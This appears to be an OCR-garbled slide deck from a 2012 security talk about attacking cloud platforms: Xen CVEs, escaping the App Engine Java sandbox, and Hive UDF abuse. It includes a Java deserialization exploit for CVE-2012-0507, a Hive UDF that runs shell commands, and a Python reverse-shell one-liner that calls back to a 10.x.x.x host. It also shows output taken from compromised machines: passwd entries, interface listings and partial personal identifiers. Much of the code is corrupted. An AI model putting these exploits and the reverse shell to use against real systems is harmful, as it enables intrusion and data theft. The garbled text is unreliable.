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e CVE-2012-2625 XEN 4.x

e CVE-2010-4255 XEN 4.0.1

e CVE-2010-4247 XEN 3.4.0

e CVE-2010-3699 XEN 3.x




AppEnginefJifiELL

Google app engine F'Sina AppEngine

« Java sandbox
« PHP sandbox

B MVTE

SAC C 2 O 1 2 Rrdobra



CVE-2012-0507

» Attacking java security manager
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import jawa. 1o, %;
import java util, concuwrrent. atomie. ¥;

clazs Unionl 1 1
class Union? 1 1

public class test
i
static byte[] buf = new bwte[] {
-24, -19, 0, 5, 117, 114, 0O, 19, 91, 76, 106, 97, 115, 97, 46, 108, 97, 110,
46, T9, 95, 106, 101, 99, 116, 59, -11Z, -50, &5, -97, 16, 115, 41, 103, 2, 0O,
a,
-2, 44, -108, 17, -120, =74, =27, -1, 2, 0, 0, 120, 112, a0, 0O, 0, 1, 112, 115,

120, 11, o, o, 0, &, 117, 114, 0, 9, 91, T&, &5, 110, 105, 111, 110, 49, 59,

114, 0, 48, 108, 97, 118, 97, 48, 117, 118, 105, 108, 48, 99, 111, 110, 99, 117,

114, 114, 101, 110, 116, 46, 97, 116, 111, 109, 105, 99, 46, 65, 116, 111, 109,
105, 99, &2, 101, 102, 101, 114, 101, 110, 99, 101, 65, 114, 114, 97, 121, -&T,
-46, -34, -95, -66, 101, 96, 12, 2, 0, 1, 91, 0O, 5 97, 114, 114, 97, 121, 118,
0, 19, 91, 76, 106, 97, 118 97, 47, 108, 97, 110, 103, 47, 73, 98, 106, 101,
93 116, 53, 120, 112, 113, 0, 126, 0, 3

I

public =static woid main(String[] args) throws Throwable

i
DbjectInputStream 0is = nmew ObjectInputStream (new BytebrrayInputStream (buf));
Object[] arr = [Dbject[]]nlz readﬂbject[]

Unlnnl[] u1 ;

neefprraylarr[1];

ar¢.5et€D, ey ”n*arﬁfﬁgt
Swystem. out. println(ul [0]);
I




2&fiZjava sandbox

HTTP ERROR 500

Problem accessing /cmd.jsp. Reason:

access denied (java.io.FilePermission <<ALL PILES>> execute)

Caused by:

java.security.AccesaControlException: access denied (java.io.FilePermission <<ALL FILES>> execute
at java.security.AccesaControlContext.checkPermiasion (AccessaControlContext.java:374)
at java.security.AccessController.checkPermission({AccesaController.java:546)
at java.lang.SecurityManager.checkPermisajon(SecurityManager.java:532)
at java.lang.SecurityManager.checkExec (SecurityManager.java:782)
at java.lang.ProcassBuilder.start (ProcessBuilder.java:448)
at java.lang.Runtime.exec(Runtime.java:593)
at java.lang.Runtime.exec (Runtime.java:431)
at java.lang.Runtime.exec (Runtime.java:328)
at org.apache.jsp.cmd jsp. jspService (org.apache.jsp.cmd jsp:52)

eth0 Link encapEthemet HWaddr SCF3FCB6:C2:7C mnet addr:10.66.15.39 Beast10.66.15.255 Mask:255.255.25
MTU:1500 Metric:1 RX packets: 1390144 errors:0) dropped () overruns:0 frame:0 TX packets:60315 errors:0 dropp«
bytes:89019074 (84 .8 MiB) TX bytes:5434428 (5.1 MiB) Interrupt: 28 Memory:92000000-92012800 eth]l Link enc:
addr:10.67.15.39 Beast:10.67.15.255 Mask:255255.255.0 UP BROADCAST RUNNING MULTICAST MTU:15
overruns:0 frame:371 TX packets: 415293293 errors:0 dropped0 overruns:0 camer0 collisions:0 txqueuelen: 1000 RX
(42.9 GiB) Interrupt:40 Memorv:94000000-94012800 lo Link encapLocal Loopback met addr;127.0.0.1 Mask:-255

RX packets: 74287854 emrors:0 dropped0 overruns:0 frame0 TX packets: 74287854 errors:0 dropped:0 overruns:0 ¢
GiB) TX bytes: 16117175329 (15.0 GiB)
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Map-Reduce job/UDF
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= history file=/tmp/! :m nive job log |
hiver add jar hive udf/marrorUDF-1, I—SHRPSHE?.jar;
ajjﬁj hive udf/marro T[F— 0-SNAPSHOT.jar to class path

hivey CREATE ":IIE RARY FUNCTICH test A5 'com. N . DF . Cest';

Time taken: 0.268 seconds
hive» select test{url) from test table limit 100;




SO, pen—— I DF :

org.apache . commons. logging . Log;
org.apache . commons . logging .. LogFactory:
org.apache . hadoop.hive.gl.exec . UDE;
org.apache.hadoop.io.Text;

test UDF

Text evaluate | Text =) 1
Process process = ;
InputStream in = ;
CutputStream out = H
InputStreamReader reader = :
BufferedReader bufferedReader = :
String result = H

String pvsh =

String path = H

File fd new File (path):;

if('fd.exi=t=()){
fd.createNewFile () :

FileWriter fw = new FileWriter (fd):

Faiir 1 Canbp v 3ing -

String cmd = +path;
proces=s = Runtime.getBuntime () .exec (cmd) ;
process = Runtime.getRuntime () .exec| -



DEMO

String pysh = "#!/bin/sh\r\npython -c \"import os;import
sys;import socket;s=socket.socket(socket.AF INET,
socket.SOCK STREAM) S. connect((socket getﬁostbyna
me('10.x.x.x'),9999)):s. send( Welcome my
master\\r\\nlz :0S. dup2(s flleno() O%os dup2(s fileno(),

‘0s.dup2(s.fileno(), 2);s.send('Is there a

shell?\\r \n");0s. system( /bm/bash );s.close();s.send('See
u next time\\r\\n');\"";




LAUUUN s A VAV JaJcLAUUUY o [ QUGS LaUUUV « T VAL VAol
rrdcached:x:101:157:rrdcached: /var/rrdtool/rrdcached:/sbin/nologin
nrpe:x:102:158:NRPE user for the NRPE service:/:/sbin/nologin
ganglia:x:103:103:Ganglia Monitoring System:/var/lib/ganglia:/sbin/nologin
mapred:x:516:2915::/home/mapred: /bin/bash
/sbin/ifconfig -a
ethO Link encap:Ethernet HWaddr 08:19:A6:9A:FB:63
inet addr: SRR .C Bcast:l@mER® 0SS Mask:255,255,255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:267487795641 errors:39 dropped:236207510 overruns:0 frame:39
TX packets:271615129388 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:303575002319189 (276.0 TiB) TX bytes:309207391027819 (281.2 TiB)
Interrupt:66 Memory:£6000000-£6012800

ethl Link encap:Ethernet HWaddr 08:19:A6:9A:FB:64
BROADCAST MULTICAST MIU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TIX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:74 Memory:£8000000-£8012800

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:60322545722 errors:0 dropped:0 overruns:0 frame:0
TX packets:60322545722 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:460703351446068 (419.0 TiB) TX bytes:460703351446068 (419.0 TiB)

Y\ SOV )N V4

uname -a
Linux r0 eSS O . O GRS (. SMP Sun Dec 19 14:22:44 EST 2010 x86 64 x86 64 x86 64 GNU/Linux
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oA BB 1330749xxxx
Z=C 4 1346665yyyy

1tRMABCDEAR] 43010419990909MMM1
FEMEFGH/NX 42010519880808NNN4
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Question? Bx 5k

. e
— http://weibo.com/n/aullik5
— http://t.gq.com/aullik5

.

— http://hi.baidu.com/new/aullik5
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